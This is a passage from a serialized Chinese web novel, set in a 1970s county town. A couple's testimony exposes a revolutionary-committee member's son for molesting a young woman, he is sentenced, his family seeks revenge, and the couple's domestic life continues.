这什么一对感觉良好的神经病啊! 她懒得理他们。 李昊阳却盯着她,不依不饶道:“青莲,只有你一个人说看到了,你还跟我们有恩怨,你以为你的证词有用吗,公安同志不会采用的。” 凌晓雨立刻笑眯了眼:“对,你别想找机会害我们。” 苏青莲眉头一蹙,咬了咬牙。 那女孩也表情微收,怎么办? 就在这时唐愿抬起头看着唐清江,拽了拽父亲的衣袖:“父亲,我看到了,那个只到父亲肩膀的矮个子叔叔摸了那个姐姐,摸了好几把我全都看到了!” 小孩子的声音软软的明明声量不高,但所有人都能听清楚她说了什么。 到她父亲肩膀的矮个子叔叔,也亏得她会形容。 唐清江身形高大,李昊阳到他面前确实像是没发育好的小鸡崽儿。 现在唐愿说了,她看到李昊阳摸了那个女孩子。 她才这么大一点点的小孩子,会说谎吗? 众人看着李昊阳的表情都变得古怪起来。 那女孩立刻泪如雨下气愤的指着李昊阳:“你听到了吗!这个小孩子看到了!你就是欺负了我!她这么小的孩子难道还能冤枉你吗!” 凌晓雨脸色发白,她只觉得苏青莲是个扫把星,她女儿也是个扫把星,全家没有一个省油的灯全都是来克自己的! “她是你们的孩子!你们跟我们有仇当然会教自己的孩子说些乱七八糟的!” 到了这一步了凌晓雨还在负隅顽抗不肯低头。 唐清江抬手摸了摸唐愿的头夸了一句:“我们阿愿好勇敢。” 唐愿眼睛弯弯的笑起来。 他揉了揉唐愿的头,但再度抬眸扫过他们两人时眼底的冷意都快要蔓延出来。 他声音冰冷道:“那就直接报案,我们的证词虽然只有一份,但只要报了案,公安同志就会着手调查。” “在场多少人,看见的多少人,保持沉默的多少人,等公安同志开始一个个问询调查后,在国家法律的光辉之下,这些人难道还能继续沉默吗,还敢在公安同志面前做伪证吗,胆敢要强硬得以身试法吗?” 第538章 闹大 微风划过河面, 拂过碧绿的柳枝。 夜色静美,月色皎洁。 但此时此景,却无人有心去赏。 大家的目光都聚集在唐清江身上, 不管是有关的、或者是无关的人。 刚才他那一番话说得太硬太绝,谁人能够在此时退出。 苏青莲和女孩看着唐清江,双目中满是信任与崇拜,唐愿眼睛也亮晶晶的看着自己的父亲,只觉得他身形真的好伟岸。 李昊阳和凌晓雨却满是痛恨与憎厌。 唐清江恍然未觉,神色始终平静。 他对着苏青莲轻点点头后, 便把目光投向了某处, 薄唇轻启,淡声道:“刚好来了。” 苏青莲随着他看了过去。 “怎么了, 发生什么了……” “在干什么?” 两道清喝之声传来。 然后, 围观的人流, 被那两道穿着公安制服的身影轻松拨开。 几乎一年四季,每到傍晚之后河边便会聚集大量的人员。 人多则自然生乱。 这些年来, 聚众打架的、喝多了闹事的、甚至往河里跳的, 不知道有多少。此外,也会有一些胆大的家伙,会趁着夜色掩映,在树丛中与人投机倒把、私下买卖。 因此, 这边河岸沿岸, 常年有县公安局的民警们沿岸驻守巡逻。 一旦发生什么意外,便就地积极处理, 以免扩大问题。 这会,便是两名公安同志巡逻至此。 苏青莲眸子一亮, 立刻指着李昊阳道:“公安同志,有人耍流氓, 欺负女同志!” “耍流氓?”公安神色一凝,目光如电地看了过去。 李昊阳面色大变,急急解释:“同志,是误会,是个误会,我们正在私下协商处理。” 那女孩冷哼一声,立刻反驳了他的话,正色道:“不是误会,公安同志,就是他对我耍流氓,我本来只是想让他跟我道歉,但他不仅拒不承认,还倒打一耙侮辱我,我现在决定要报案了。” 李昊阳猛一回头,狠狠瞪着女孩,目光如猝了毒一般。 公安见着他这模样,立刻对其没了好印象,蹙眉冷喝道:“你干什么,你在威吓受害人吗?” 李昊阳当即神色一敛,诚恳解释道:“没有,误会,这真的是误会,同志,因为被她凭空污蔑,我一时情绪激动,我……” 然而下一刻,苏青莲便决然打断其发言:“公安,这绝对不是误会,我是目击证人,我看到了他耍流氓的过程。” “她才不是证人,他跟我们有仇,故意陷害我们。”凌晓雨反应极快地怒喊道。 听着这几人连续的发言对话,两名公安对视一眼,立刻就明白了事情的大概走向。 他们看着李昊阳和苏青莲几人,冷声道:“你们都站好了,从现在开始,不要再搞什么小动作,现在都把自己的名字说一下,事情真相我们会查清楚。” “好。”苏青莲第一个应声:“我叫苏青莲。” 其他人也依次报了自己的名字。 这时,唐清江和苏青莲才知道那女孩名叫白依依。 两名公安在记录本上记下了他们几人的名字,又转身看向了一旁的围观人群问道:“同志们,大家先前也都在这儿是吧?还有人看到具体情况了吗?看见的人都来说一下怎么回事?” 诸人一片沉默。 两名公安皱了皱眉头,分头走到两边:“那么我们就挨个询问了,你们待会的回答都是法律证据,要是做伪证的话,可是犯法的,开始吧!” 公安一旦真正想查什么案子,一对一问询起来,普通人是绝对顶不住那个压力的。 而另一边。 凌晓雨正恶狠狠瞪着苏青莲:“我妈妈好歹是你的姑姑,你今天这么害我,你还有没有良心?” “……”苏青莲眨了眨眼,歪头看着凌晓雨,一派天真无邪道:“呵,我为什么要害你,难道你做了什么对不起我的事?” “而且,你跟这臭流氓不是还没结婚吗,我现在帮你提前看清一个人渣,你不是该谢我才是吗?早点解除婚约,抓紧时间止损啊!” “你……”凌晓雨目光带火,几乎是咬牙切齿:“谁要你帮!你这个害人精!你怎么不去死!” 李昊阳是她从小就看中的未来丈夫人选,至少就外部条件而言,李昊阳家境好,外表也风度翩翩,还有个在政府的工作,在县城中,可以说是最合格最让人欣羡的结婚对象,她也一直以此为豪。 可现在,这一切都被苏青莲破坏了。 她的未婚夫,当着她的面去摸了别人,她将来肯定要被无数人暗地里讥笑。 都怪苏青莲,为什么非要揭穿这件事? 苏青莲看着凌晓雨越来越渗人的目光,忍不住冷笑,真是不识好人心。 不过,不得不说,李昊阳和凌晓雨真不是一家人,不进一家门。 两人都完全没意识到自己的错误。 现在出了问题,不是想着消灭问题;而是想着消灭那个发现问题的人。 李昊阳此时也正满面阴沉地盯着那个女孩白依依,冷嘲道:“你以为他们是真心帮你吗,他们只不过是跟我有仇,想趁机陷害我罢了。” 白依依先是面色微白,而后却挺直了身子,恶狠狠道:“就算是,那又怎么样,我只要你这个臭流氓受惩罚,别人怎么样我不管!” 见其如此油盐不进,李昊阳盯着人半晌,咬了咬牙恶意道:“呵,你一个女人,现在事情闹得这么大,你有想过以后怎么办吗?你以为还有人敢顶着异样目光娶你吗?” 白依依几乎红了眼眶:“关你这个臭流氓什么事,还不都是被你害的!” 苏青莲捏紧了拳头,瞪着李昊阳:“你这个人渣,从小就爱耍流氓,少仗着男人的身份在这得意洋洋,你一定会下十八层地狱!” 以前她还在县城的时候,李昊阳就爱动手动脚,好几次都想欺负她。 但她每次都狠狠将李昊阳揍了回去,有些人知道这件事后总觉得她一个女孩子为什么要将这种事闹大?这种事怎么好见光? 但是,凭什么? 凭什么做错事的人反而光明正大,受害者要活在阴天里。 第539章 谁会看上你这样的脏男人 “这位流氓先生,与其假模假样关心受害人,不如先担心担心早就脏了身子的自己吧!除非是瞎了眼,或者是一丘之貉 ,否则哪个正常女性或者女人,会不喜欢清清白白、干干净净的好男人,谁会看上你这样肮脏的男人!” 一道冷凌湛然的男音,仿若春日惊雷般响起。 苏青莲和白依依,怔愣半晌。 然后,齐齐转头看向唐清江,又是溢不住的满目崇拜。 原来还可以这么骂人的? 凌晓雨气的咬牙。 她只感觉唐清江是在明明白白地嘲讽自己,嘲讽自己没眼光。 李昊阳更是涨红了脸,恍然中,唐清江那话仿佛耳光般,正在一下一下在往自己脸上打。 他骂自己就算了,居然敢用这种骂女人的词语来羞辱他…… 该死,该死! 这个不知道哪里蹦出来的乡下人,居然敢管他的闲事,敢这么胆大包天。 真是无知者无畏。 唐清江对上他几乎喷火的目光,依然十分平静,只淡淡问了一句:“这位流氓先生,这么看着我做什么,难不成想着待会离开之后,好对我有什么报复?” 李昊阳冷笑一声,正欲开口。 但却被气上头的凌晓雨抢先了:“哼,看来你心里倒是很有点数,昊阳可是在政府工作的,李伯伯更是县革委会的委员……” “革委会?” 两位公安刚好收了记录本走过来,闻言蹙了蹙眉,深深看李昊阳一眼。 刚刚,在他们的严格询问中,终于有路人开始说话,证明李昊阳确实有耍流氓的动作。 接着,便有了第二个、第三个。 既然如此,事情的真相便基本清晰了。 但牵扯到了革委会,那可不是好惹的……尤其是他们纠察队里的那些红袖章们。 李昊阳似是意识到公安们的犹豫,当即一点头,满面笑容地解释道:“对,同志,我是县政府的公务员,我爸是县革委会的李建国李委员,所以,刚刚那事真的是误会,你们想想,我这样家庭和身份的人,怎么可能干这种耍流氓的事?” 两位公安对视一眼。 呵呵,误会? 这么多证人的误会,倒是少有。 而且,当谁是傻子吗,就你们这样的人干坏事最多。 但李昊阳见他们两沉默,自以为事情有了转机,当即十分轻松得意地瞥了唐清江一眼。 凌晓雨更是对唐清江和苏青莲冷哼道:“等着吧,你们!” 然后…… 他们就看到,唐清江那原本一直无甚表情的冷峻面庞突然对着他们微微勾出一抹浅淡笑意。 再接着,又眼睁睁看着唐清江握住苏青莲的手,开口道:“青莲,这流氓的爸居然是革委会的委员,早知如此,咱们恐怕不该这般贸然出来作证,以后万一……” 李昊阳:“……” 这人刚刚那么凛然正气,现在这样又识时务,虽然他心里挺爽的,但偏偏总觉得哪里不对劲。 苏青莲“……?” 苏青莲慢半拍的眨眨眼。 老公,你演得真的好假。 她觉得她老公是想演出惊慌失措害怕的怂包样子,但是装不出来。 不过,苏青莲很快就反应过来,故意扬了声音感叹道:“哦,原来这流氓他爸是革委会的啊,看来我们刚刚确实太冒进了,哎……” 凌晓雨见两人如此表情,尤其看到向来胜自己一筹的苏青莲这般低眉折腰,一时间气焰更盛。 凌晓雨立马用比苏青莲更响亮的声音,应答道:“对,李伯伯可是革委会的委员,哼,你们现在知道怕了,我告诉你们晚了,你们一家、还有这个贱女人,敢这么得罪我们,就等着倒大霉吧、滚去游街吧!” 这话一出,场面霎时如同暴风袭过,静了一瞬,所有人都微微张大嘴。 两名公安更是揉了揉眉心。 得了,这也挺好。 唐清江则满意地看了凌晓雨一眼,感谢李昊阳愚蠢的猪队友。 他一改刚才的态度冷着脸道:“哦,就因为他爸是县革委会的李建国,所以,我们路人仗义执言几句就要被游街?难怪,这家伙光天化日耍流氓就算了,还敢不知悔改,诬陷羞辱受害人。” 说着,他对那女孩微微示意。 女孩白依依也是个聪明人,立刻便双目盈了一泡泪,可怜兮兮哭喊道:“他爸是革委会的怎么了,他爸是革委会的,他就可以随便耍流氓吗,革委会不是为了打倒地痞流氓和牛鬼蛇神才成立的吗?现在要开始仗势欺负我们普通老百姓了吗?” 这年代,固然有一些明哲保身之徒,但亦不乏众多热血万分的民众。 现在是晚饭后的散步时间,大家本就是出来散心,找乐子的。 刚刚随着两名公安过来看热闹的路人极多,其实并没有见到前面的事,只大约知道有年轻男同志在这对女同志耍了流氓。 结果,这家伙不仅不老老实实对公安交代情况,束手就从,居然还大言不惭地宣传起自己爸爸的身份,什么革委会里一名委员的儿子? 当即,静了不到数秒的场面,如同开了锅的热水一样沸腾起来。 “好啊,我今天真是开了眼了,这家伙居然敢这么嚣张!还‘我爸是革委会的’……” “他爸在革委会怎么了?革委会委员的家人耍流氓就不用受惩罚,还能倒打一耙威胁人吗?” “对啊,革委会了不起啊,那还不是我们选出来的,今天不仅这个龟孙子要被抓起来教育,他爸也必须出来给我们交代!” “对,肯定平日没少做坏事,不然他儿子干了坏事之后的第一反应,怎么就是报他爸名号呢,啊!” “对,说得没错,必须严惩流氓,打倒背后官僚主义!” …… 一群人蜂拥而上,直接将李昊阳给拎了出来,然后押送着往公安局方向而去。 那两名公安都没有了用武之地。 而一路之上,又有更多的普通百姓加入其中。 原本只是一件小小的流氓案。 经过有声有色“我爸是革委会的”标题宣传之后,几乎将清水县城的大多数人都给吸引了过去。 然后,在听完故事缘由之后,大家也都不约而同地义愤填膺起来。 第540章 看着你就眼睛疼 李昊阳被抓走了,但凌晓雨被完全无视忽略了。 她孤零零站在人群了后面,想着刚刚那些人的模样,想到李昊阳被打得鼻青脸肿的模样,身躯不由得瑟瑟发抖起来。 她……她刚刚是不是闯祸了? 怎么办? 现在该怎么办 她拔腿往自家的方向飞快跑去,她去问问爸妈怎么办,爸妈肯定有办法的…… 这事的后续发展,几乎向着一个不受控的方向滚去。 或许,也还有李建国政敌的背后操作。 当天晚上,原本一季排好版要印刷的报纸,临时换了新闻版头。 广播收音机里,也有一个频道专门提到了这事。 以至于到了第二天,唐清江去农修厂上班时,听着厂里的工人们也都在大声讨论关于那句鼎鼎有名的“我爸是革委会的”,李建国、李昊阳的名字更是不断交替出现。 周出甚至还好事地凑了过来:“大哥,听说昨晚你也在河边,你参加这次事件了吗?” 唐清江随意点点头。 周出当即振奋了精神:“大哥,快给我讲讲,中间的过程是咋样的,这都传了太多版本了,我感觉都不真了。” 唐清江抬头,淡淡瞥他一眼:“我刚刚讲的东西,你听懂了吗?” 周出:“……” 好吧。 大哥就是这么冷面铁血。 唐清江不管他,转身出了办公室,往董科长的办公室走去。 进去的时候,孙副厂长也正在那儿喝茶,见到他,便亲切地笑了笑:“小唐同志来了,可真是英雄出少年。” 唐清江眉头微扬。 董科长好心解释道:“孙厂长还是有点关系的,这不,你昨晚干了那件大事,他今天一早可就打电话过来了。” 唐清江点点头,表示明白了。 难怪之前查设计图失窃案的时候,董科长让他尽管报上农修厂的名号,原来是能为他兜底。 董科长笑道:“不过,今天找你来,却不是说这件事的,” 孙副厂长看着唐清江,颇为感慨道:“哎,这两个月厂里同志们的工作热情可是显著提高啊,各种工作效率更不用说,这才两个月产值都要超过上一个季度了,小唐同志这都是你的功劳,现在让我放你去机械厂,是真舍不得!” 唐清江对这些老狐狸的话早已免疫,只能尽力忽视。 他淡淡问道:“厂长,科长,是机械厂那边有什么变化吗?” 董科长点点头:“是上面给市机械厂下了任务,让他们在研发上多花功夫,尤其是发动机上,这不赶巧了吗,你那个新型发动机正是时候,机械厂和市里的审批程序加快了,财政拨款估计也快了,下个月你大概就要去市机械厂了。” “哦,原来如此。”唐清江漠然点点头,反应平淡像是早料到了。 孙副厂长和董科长看着他这模样,也不知该高兴还是难过。 这小年轻真是无情啊,对去市里没什么期待,可对他们农修厂也没有半分不舍…… 不过说到底人往高处走,能去市里谁会继续留在小县城? 两个老家伙烦躁地摆摆手:“赶紧走,走,看着你就眼睛疼。” “好的,两位领导再见。”唐清江站起身,毫不留念地转身就走。 “……” 孙副厂长和董科长对视一眼,哭笑不得。 另一边的县革委会中,却没有这么和谐了。 宽大的主任办公室里。 “好的,好的,领导,这事是我们革委会出了问题,我马上会处理的。” 革委会赵主任挂了上面问候的电话,透过窗户看着楼外围成一圈又一圈来请愿的百姓们,神色难辨,伸头对着秘书道:“老李今天来上班了吗?立刻去把人叫过来。” 大概一盏茶的时间,秘书带着一位中老年男子走进了办公室:“主任,李委员来了。” 赵主任站在窗前,对着李建国招了招手:“老李啊,来看看,看看,民意沸腾啊……” “主任……”李建国走近两步,往下看去。 其实,他昨晚去公安局见李昊阳的时候,就已经见识过这一幕了。 今天早上,也是万般辛苦才走进了革委会的大院。 赵主任看他一眼,长叹一声道:“民意难违啊,刚刚上面已经给我打电话了,骂了我半个小时,听说市里、省里都注意到这件事了。” 李建国脸色微苦:“主任,是我的错,我连累你了。” “子不教父之过,你确实有错,听说公安局和咱们革委会一样门口都挤满了人,这都需要你来解决啊,不然大家都不上班工作了,耽误了国家的建设任务谁都担当不起!”赵主任紧紧盯着他。 李建国咬了咬牙,狠狠点头道:“我知道该怎么做。” 他在革委会也呆了不少年,知道赵主任的为人,这事如果连累到他那自己将来肯定没有好果子吃。但如果现在好好地解决了,将来赵主任说不定一高兴,日后也还给他留有几分老同事的面子,帮他点忙。 就在这天中午。 李建国走出了革委会大楼,站在大门口接受了百姓们的谴责,然后向受害人鞠躬道歉,并且表示会就此辞去革委会委员的职位。 原本,大家的怒火都要因为他这一番做派而些微压下去不少。 谁知道就在这时,公安传来消息。 李昊阳这回根本不是首犯,之前已经不知干过多少侮辱妇女、耍流氓的事。 以前那些女孩、女人们既是担心名声、也是摄于他家权势,不敢声张、不敢报案。 但这会,事情闹得太大,有受害人意识到这次是自己的机会,当即联合在一起集体去了公安局报案。 这一下,百姓们的怒意可说是上升到了极点,整日在公安局门口静坐示威,要求必须严判李昊阳,死刑也不为过。 在这样的压力之下,李昊阳的判决也很快就下来了。 虽然最终还是没有判死刑,但是却因为被法院认定为强迫、侮辱妇女,情节严重,被判处有期徒刑十年,并且要去最北边最艰苦的农场劳改服刑。 而那个受害的女孩白依依则因为勇于对流氓、对恶势力抗争到底,成为了妇女英雄。 这个时代,无数的热血年轻人写信给她鼓励她,对她表达崇拜,以及对她表达爱意。 第541章 调皮什么? 农修厂宿舍大院。 “李昊阳可算是受到惩罚了。” 苏青莲赤足倒立着躺在沙发上,手里则捧着半个西瓜,边吃边幸灾乐祸地笑。 唐愿虽然还小但是小小年纪认了字后每天都在看书学习,现在就在自己房间学习,反倒是苏青莲这个大的一个看不住就要捣乱。 唐清江拿着她在家里做得那些题目,走到沙发上坐下,伸手拍拍这个吃得汁水乱飞的家伙:“你这什么姿势,待会呛到了。” 苏青莲拿勺子挖了一大块西瓜最中间的部分,递到唐清江嘴边:“我这姿势很舒服啊,来老公,吃一口甜的,为了表彰你在惩奸除恶上的功绩。” 唐清江从善如流地张嘴,这西瓜确实很甜。 这是昨天发工资时,农修厂里代替了票补发的,一共两个,都被他搬回了家。 苏青莲挑了挑细眉,很是得意道:“好吃吧,甜吧!” “嗯。”唐清江淡淡点头。 然后,低下头继续去看这一天在家里,苏青莲写得那些高中题目。 苏青莲转了转眸子,又挖了一大勺伸过来:“老公,再来一口。” 唐清江下意识张嘴。 但是,下一刻,那勺子却敏捷地从他嘴边溜走,然后进入了苏青莲的口中。 唐清江:“……” 苏青莲看着他那微懵模样,立刻拍着沙发笑了起来,为自己的恶作剧成功。 “幼稚鬼。”唐清江无奈道。 苏青莲得意地哼了一声,又挖了一勺递过来,认真道:“老公,这次是真的了,张嘴。” 唐清江不打算再理他。 这小笨蛋最近越来越得意忘形了。 “老公,张嘴,我喂你啊!”苏青莲很执着,举着勺子不放下。 唐清江也依旧不理她。 苏青莲不高兴地蹙眉,将勺子送回了自己嘴巴一口吃了下去。 而后,她眼珠子一转,将原本倒挂搭在沙发背上的脚,慢慢挪了下来故意使坏往唐清江肩膀上踩去。 “老公……你怎么不理我了,你……” 下一刻,两只纤细赤足,就被唐清江的大掌用力一把握住,漠然道:“调皮什么?” “啊!”苏青莲下意识尖叫一声,然后开始挣扎,但是挣扎了半天,却怎么也挣不脱,她只能笑道:“唔,老公,我错了。” 唐清江冷笑一声:“苏老师,哪错了?” 苏青莲深刻反思半晌,然后断然大声回道:“不知道。” 唐清江挑了挑眉,握着细白的脚踝,将人往怀里扯了扯。 在唐家村时,苏青莲虽然干活少但几乎每天都下地,现在到了县里,在家捂了一几个月,两只脚被养得白皙润泽,就连趾甲都泛着浅浅的粉色。 唐清江忍不住轻轻捏了捏,又在脚心勾了几下。 苏青莲自来敏感,立刻便忍不住地扭着身子又哭又笑起来:“老公,我错了……” 唐清江却好像完全看不到她的痛苦挣扎。 苏青莲赶紧想办法自救。她忍着痒意,上半身猛地往唐清江身上一扑,双手抱住他的脖子,嘴唇在他脸上就开始乱亲:“老公,老公,不闹了不闹了……” 转瞬之间,唐清江被这小笨蛋糊了一脸的口水、西瓜汁。 无奈之下,他只能松开握住苏青莲脚踝的手,转而一手搂着人的腰,一手扶住人的脖子,用魔法对付魔法,以吻封缄,堵住小妻子那不安分的嘴巴。 “唔……”苏青莲跪趴在唐清江怀里,被吻得极为舒服,开始忍不住地哼哼唧唧。 唐清江手上力道微重。 于是,过了一会,苏青莲又觉喘不过气来,开始手指轻轻掐着唐清江的肌肉。 半晌后,苏青莲整个人软成一滩水,躺靠在唐清江身上。 唐清江轻捏她的脸颊:“知道错了吗?” 苏青莲仰脸看他,可怜巴巴:“知道了,我不该拿西瓜逗你玩。” 唐清江刚要开口说话。 苏青莲有突然揪住他的衣角又开始问道:“老公,你觉得我更甜,还是刚刚的西瓜更甜?” 唐清江:“……” 啧。 真是不能安生一秒。 …… 革委会办公室里。 “老李啊, 这才几天,怎么就老成这样了?” 赵主任看着李建国满头白发的模样,愣了半晌, 才说出话来。 李建国扯了扯嘴角,挤出个难堪的笑。 赵主任明白过来,深深叹口气:“昊阳好歹还留了条命呢,这些年你也留下了不少好东西, 十年一眨眼就过去了,等着你儿子回来好好养养就是了。” 李建国这次是来求人的,所以对这话,只能赞同地点点头:“主任, 我也是这么想的, 但是,这事我还是不甘心啊,那几个害了我儿子的小畜生, 我决不能放过他们。” 赵主任皱了皱眉:“那个叫白依依的女孩子, 最近风头很大啊,报纸和群众都在关注着,你最后不要乱动什么心思,不然这事是要将你我都给牵扯进去的。” “我知道, ”李建国咬了咬牙:“不过, 我之前去公安局时听家里的小畜生说了,这事真正闹出来不是因为那个女孩子,而是那一对该死的夫妻, 尤其是那个姓唐的小子,我要他死。” 赵主任这才点点头:“你说一下名字,他叫什么,做什么的,我帮你打听一下。” 李建国面上一喜,立刻报了名字:“叫唐清江,在农修厂上班。” “农修厂?”赵主任有些犹豫。 农修厂那可是县委张书记兼任厂长的地方,这要是又闹出什么事,岂不是自找麻烦。 书记本来就对他们革委会不满,这次李建国的事出来后,态度更甚。 李建国匆忙走近几步,急急解释道:“那小子只是一个普通工人罢了,主任,你只要让他的工作没了就行了,剩下的我会自己处理。” 赵主任看着老同事狰狞的面孔,心绪复杂。 好一会儿,他才叹口气道:“行吧,我打电话去农修厂问一下。” 李建国兴奋地点点头。 赵主任从抽屉里拿出小电话本看了看,拨出了一个号码,电话很快就接通了。 他点点头:“对,找你们孙副厂长。” 听筒里嘟嘟几声,而后,响起一道硬朗的男声:“谁?” 赵主任笑了笑:“孙厂长啊,我是革委会的老赵啊,跟你打听个人……” 只是,随着对话的进行,赵主任的眉头越蹙越深。 “好,我知道了,麻烦你了。” 半晌之后,赵主任挂了电话。 他抬头看向等在一旁的李建国,颇为无奈道:“老李,你可别折腾了,那姓唐的小子,不是我随便能动的人,他根本不是农修厂的普通工人而是个大研究员,据说在书记那、在市里领导那都是挂了名的,他在县里也待不了多久马上就要去市机械厂了。” 李建国呆立当地。 第542章 彻底撕破脸 汽水厂的凌家院子里。 凌母和凌父站在某间房门前,忧心忡忡地敲了敲门:“晓雨,今天过节,买了你最喜欢的烤鸭,出来吃点吧……” 房间里,凌晓雨坐在床上,眼皮动了动,却没有回话。 那日从清水河边跑回家之后,她立刻将事情告诉了凌父凌母。 他们都本以为凭着革委会和李建国的能力,这点事或许可以很快解决的。 谁知道第二日就得知,李建国已经没了革委会的职位。 一家人大吃一惊。 又过了一段时间后,李昊阳更是被法院判了十年劳改。 凌晓雨当时听完后,直直愣了半天,才终于艰难反应过来,自己那曾经最引以为豪的婚事,就这么完了。 而凌父和凌母得知后,也几乎是每天都在家中痛骂唐清江和苏青莲。 但也只能痛骂,他们现在是万万不敢出现去吸引火力的。 毕竟,真正要说起来,那句“我爸是革委会的”大名言,还是被凌晓雨给彻底闹开来的。 其实,凌家一家人在判决下来之前,也偷偷出门想去警局看看李昊阳,毕竟,李家的条件是真好,万一李昊阳最后翻了身,说不定会记着他们的情义。 但是,那天刚好是李昊阳从公安局被移到法院的日子,他们就眼睁睁看着李昊阳一路被批斗,被砸臭鸡蛋,被扔鞋子,群情激奋、被千夫所指…… 那场景实在叫人难以忘怀,一生深刻。 于是,一家人再也不敢抱着什么侥幸心理,没有出现露脸,就匆匆忙忙躲回了家。 而凌晓雨更是被这场面吓到,已经数日没有再出过房门一步。 她实在想不通,为什么自己的日子会变成现在这样? 她恨自己当时着了唐清江的道,顺着他的意,说出了那样不能挽回的话。 她恨李昊阳为什么就不能安安分分,非要去耍流氓?把自己毁了,也把她毁了? 她也恨白依依为什么不懂得息事宁人,只是被摸了一下而已,为什么就要那样不依不饶? 但她更恨唐清江和苏青莲,如果不是他们硬要多事,事情绝对绝对不会变成现在这样,是他们彻底毁了自己的生活。 凌晓雨每次一想到这里,就痛恨地心肝脾肺都要冒出火来。 “乖宝,开一下门吧,多少也要吃点啊……”外面,凌母的声音再次响起。 凌晓雨猛地抬头,阴沉沉喊道:“别叫了,不吃。” 凌晓雨烦躁地捶了下枕头。 她也忍不住恨她爸妈,当年为什么要毁了苏青莲的婚事,让苏青莲嫁给李昊阳不是更好吗!偏偏现在被毁了的是她。 凌母和凌父被凌晓雨的声音吓了一跳,欲要再次敲门的手,停在半空,两人对视一眼,干巴巴地扯了扯嘴角,没在说话。 正在这时,大门口响起了动静。 凌母叹口气,走过去开门,等看到站着的两个人后,她手指一动,下意识就想要关门。 不过,那两人却已经直接走了进来。 “谁啊……”凌父听着走路声,转过身问了一句,但等看到走进来的两道人影时,也瞬间变了变脸色。 半晌,他才喃喃一声:“李大哥和嫂子怎么过来了?” 李建国看着两人,没有说话。 “哼,不过来行吗?你们心里可还记得我李家吗?”李太太却冷笑一声,极不客气地直接坐到了沙发上。 凌父、凌母尴尬地笑了笑,解释道:“这些日子,外面乱糟糟的,我好久没出门了,老凌的工作也停了几日。” “这样啊,倒是我误会你们了,还以为你们也是那看碟下菜的,也是,我们两家的关系毕竟不一般呢。”李太太看着两人,浅浅地笑了一声。 “是,是……”凌母忙点着头应道。 这些年李家势大,她已经习惯性捧着李太太,这时候也下意识地奉承。 李太太抬了抬下巴:“晓雨呢,怎么没看到她,昊阳明天就要去北大荒的农场了,晓雨也该收拾好了吧?” 凌父凌母一愣:“什……什么意思?” 一直沉默的李建国,此时终于开口道:“小两口还是不要异地分开的好,不利于感情培养,晓雨陪着一起过去北大荒,刚好也能照顾昊阳,钱和证明我会尽力安排好的。” “什么?”凌母尖叫出声。“你们……你们要我家晓雨也跟着去?” 凌父也惊呆了:“李大哥、嫂子,这是不是不大好?” 李太太冷笑:“有什么不好的,他们本来就订了婚,如果不是出了事,现在也该结婚了。” 凌父皱眉:“说到底还是没结。” 凌母也赶紧摇头:“不行,北大荒那是什么地方,晓雨从来没吃过苦,他不能去!” 听了这话,李太太脸上的冷笑,彻底化为冰寒,她几乎是咬牙切齿道:“你们家晓雨没吃过苦,我的昊阳难道就吃过吗?哼,我李家现在变成这样,还不是托苏青莲的福!你们家可是跟苏青莲攀亲带故的!不找你们找谁!” “我儿子要去受苦,你们难道还想着等事情过去,重新好好过日子不成?你做梦!” 李建国抬头看着两人,一字一顿道:“你外甥女找了个好丈夫,我暂时动不了,但凌晓雨还想置身事外不成?我李建国现在是失势了,但古话说,瘦死的骆驼比马大,我对付你们还是很容易的。” 凌父眉头深深蹙起:“李大哥,这是要彻底撕破脸了,天下父母心,大家都心疼自己的孩子。” 李建国站起身,冷冷道:“少跟我说这些废话,现在我的儿子已经这样了,所以你们最好老老实实的,否则哪天要是走在路上突然出了什么事,可说不好啊!” 说完,他就和李太太两人直接出了凌家大门。 凌母看着两人离开的背影,她接受不了的直接扑倒在沙发上,哭喊一声:“这真是造孽啊!你说说,这哪有天理可言,他们自己儿子管不住手脚,对人耍流氓,凭什么还要我们晓雨陪着他受苦啊。” 第543章 中秋 凌母哭了一会又坐起身去骂凌父:“都怪你,非要给晓雨定这么一门亲事!” 凌父揉了揉眉心,叹气道:“这本来不是给苏青莲定的吗?” 凌母当即找到了发泄口,开始更大声地骂人:“是啊,都怪苏青莲这个丧门星,这门亲事本来是她的,应该让她去北大荒才对,她害得我晓雨好苦啊……” …… 而于此同时,隔壁农修厂宿舍大院里。 秋风拂动窗帘,悄悄地钻进了屋内。 不小心伸出被子外的白皙小腿,触碰到这股凉意,立刻机警地往里缩了几分。 唐清江从手中书本抬起头,看着往自己怀里缩的小家伙,勾了勾唇角,被子中笔直有力的双腿夹住那些微冰凉的纤细脚踝。 “唔……”苏青莲感受着腿上传来的温暖,脸蛋在唐清江胸膛上蹭了蹭,满足的呼出口气。 唐清江伸手捏捏他睡得红扑扑的脸颊。 苏青莲哼哼唧唧:“老公……” “嗯。”唐清江看着人,轻应了一声。 苏青莲迷迷糊糊睁开眼,正对上自家老公英俊的面容,忍不住怔愣一瞬,而后心脏越发快速地跳动了起来。 今天的唐清江与往日有些不同,因为坐在床上看书的缘故,高挺的鼻梁上架着一副简单的茶色边框眼镜。 原本一眼看上去极为冷峻深邃的五官,由此而被中和几分,散发出几分神秘的书生文气,但配着健壮雄武的上半身,又更有种矛盾的诱人魅力,让人恨不得直接扑上去将其扒个一干二净。 “……”苏青莲忍不住害羞地蜷起了脚趾。 唐清江见人直直盯着自己,而后就莫名其妙地面红耳赤,忍不住有些好笑。 大拇指从苏青莲的脸颊肉上慢慢移开,转而按到她殷红柔软的唇上,低低道:“苏老师,告诉我,在想什么好东西?” “……” 听着这缠绵的‘苏老师’三个字,苏青莲脸蛋忍不住更红。 唐清江剑眉挑起:“苏老师,有什么不能说得秘密?” 苏青莲赶紧摇摇头。 整个个人往被子里一缩,像一团猫儿似的,彻底失去了踪影。 唐清江:“……” 久不见这么害羞的小妻子了。 他轻轻笑了笑,将眼镜取下,放到一旁的床头柜上。 这眼镜还是前天董科长送他的临别礼物。 前天正是他在农修厂上班的最后一天,而等过完中秋节,他们一家三口便要搬家去市里了。 对,今天便是中秋节。 唐清江想起什么,轻轻拍了拍被子里那圆圆的一团,淡声道:“已经十点多了,阿愿早就起床看书了,我们是不是该出门买菜了?” 下一刻,仿佛鲤鱼跃水般,整个被子都被直接掀开了,带起一阵清风。 苏青莲瞪着他,急急道:“十点多了?” 唐清江点头:“对。” “你……”苏青莲气呼呼地瞪了他一眼,然后赶紧跳下了床,手忙脚乱的穿衣服穿鞋子,“你怎么不早说啊,今天过节,大家肯定早早就出门了,这会再出门,别说月饼了,恐怕连菜叶子都买不见几根了……” “没了就算了,昨天不是还剩了菜吗?”唐清江站起身,慢条斯理道。 